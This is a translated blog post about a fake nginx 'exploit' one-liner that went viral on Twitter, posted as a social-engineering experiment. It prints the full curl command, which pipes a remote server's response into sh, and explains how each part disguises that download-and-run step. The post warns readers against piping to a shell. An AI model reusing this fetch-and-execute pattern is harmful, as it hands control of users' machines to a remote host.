Notă. transl.:
TL;DR: Nu utilizați pipelineing de fișiere în sh sau bash în nicio circumstanță. Aceasta este o modalitate excelentă de a pierde controlul asupra computerului.
Vreau să vă împărtășesc o scurtă poveste despre un exploit comic PoC care a fost creat pe 31 mai. A apărut prompt ca răspuns la știrile de la
După ce am terminat de lucrat la o nouă tehnică de ofuscare în curl, am citat tweet-ul original și am „scăpat un PoC funcțional” constând dintr-o singură linie de cod care se presupune că exploatează vulnerabilitatea descoperită. Desigur, asta a fost o prostie completă. Am presupus că voi fi imediat expus și că în cel mai bun caz voi primi câteva retweet-uri (oh, bine).
Cu toate acestea, nu mi-am putut imagina ce s-a întâmplat în continuare. Popularitatea tweet-ului meu a crescut vertiginos. În mod surprinzător, în acest moment (15:00 ora Moscovei, 1 iunie) puțini oameni și-au dat seama că acesta este un fals. Mulți oameni îl retweetează fără să îl verifice deloc (darămite să admire grafica minunată ASCII pe care o produce).
Uite doar ce frumos este!
Deși toate aceste bucle și culori sunt grozave, este clar că oamenii au trebuit să ruleze cod pe mașina lor pentru a le vedea. Din fericire, browserele funcționează la fel și, combinat cu faptul că nu voiam cu adevărat să intru în probleme legale, codul îngropat în site-ul meu făcea doar apeluri ecou fără a încerca să instalez sau să execut vreun cod suplimentar.
Mică digresiune:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Ingineria socio-electronică (S.E.E.) este mai mult decât phishing
Siguranța și familiaritatea au fost o parte importantă a acestui experiment. Cred că ei sunt cei care au condus la succesul lui. Linia de comandă implica în mod clar securitate făcând referire la „127.0.0.1” (cunoscuta gazdă locală). Localhost este considerat sigur și datele de pe acesta nu părăsesc computerul.
Familiaritatea a fost a doua componentă cheie S.E.E. a experimentului. Deoarece publicul țintă era format în primul rând din oameni familiarizați cu elementele de bază ale securității computerelor, a fost important să se creeze cod, astfel încât părți din acesta să pară familiare și familiare (și, prin urmare, sigure). Împrumutul de elemente ale conceptelor vechi de exploatare și combinarea lor într-un mod neobișnuit s-a dovedit a fi un mare succes.
Mai jos este o analiză detaliată a unei linii. Totul de pe această listă se poartă natura cosmetică, și practic nu este nevoie de nimic pentru funcționarea sa efectivă.
Ce componente sunt cu adevărat necesare? Acest -gsS
, -O 0x0238f06a
, |sh
și serverul web în sine. Serverul web nu conținea instrucțiuni rău intenționate, ci pur și simplu a servit grafică ASCII folosind comenzi echo
în scenariul cuprins în index.html
. Când utilizatorul a introdus o linie cu |sh
În mijloc, index.html
încărcat și executat. Din fericire, custozii serverului web nu au avut intenții rele.
-
../../../%00
— reprezintă trecerea dincolo de director; -
ngx_stream_module.so
— calea către un modul NGINX aleatoriu; -
/bin/sh%00<'protocol:TCP'
- se presupune că lansăm/bin/sh
pe mașina țintă și redirecționează ieșirea către canalul TCP; -
-O 0x0238f06a#PLToffset
- ingredient secret, suplimentat#PLToffset
, să arate ca un offset de memorie conținut cumva în PLT; -
|sh;
- un alt fragment important. Aveam nevoie să redirecționăm ieșirea către sh/bash pentru a executa codul care vine de la serverul web atacator situat la0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- un manechin în care se referă netcat/dev/tcp/localhost
pentru ca totul să pară din nou în siguranță. De fapt, nu face nimic și este inclusă în linia pentru frumusețe.
Aceasta încheie decodificarea scriptului cu o singură linie și discutarea aspectelor „ingineriei socio-electronice” (phishing complicat).
Configurare server web și contramăsuri
Deoarece marea majoritate a abonaților mei sunt infosec/hackeri, am decis să fac serverul web puțin mai rezistent la expresiile de „interes” din partea lor, doar pentru ca băieții să aibă ceva de făcut (și ar fi distractiv să înființat). Nu voi enumera toate capcanele aici, deoarece experimentul este încă în desfășurare, dar iată câteva lucruri pe care serverul le face:
- Monitorizează activ încercările de distribuție pe anumite rețele sociale și înlocuiește diverse miniaturi de previzualizare pentru a încuraja utilizatorul să facă clic pe link.
- Redirecționează Chrome/Mozilla/Safari/etc către videoclipul promoțional Thugcrowd în loc să arate scriptul shell.
- Urmărește semne evidente de intruziune/hacking flagrant și apoi începe să redirecționeze cererile către serverele NSA (ha!).
- Instalează un troian, precum și un rootkit BIOS, pe toate computerele ai căror utilizatori vizitează gazda dintr-un browser obișnuit (glumesc!).
O mică parte de antimeri
În acest caz, singurul meu obiectiv a fost să stăpânesc unele dintre caracteristicile Apache - în special, regulile cool pentru redirecționarea cererilor - și m-am gândit: de ce nu?
Exploatare NGINX (real!)
Abonează-te la
Sursa: www.habr.com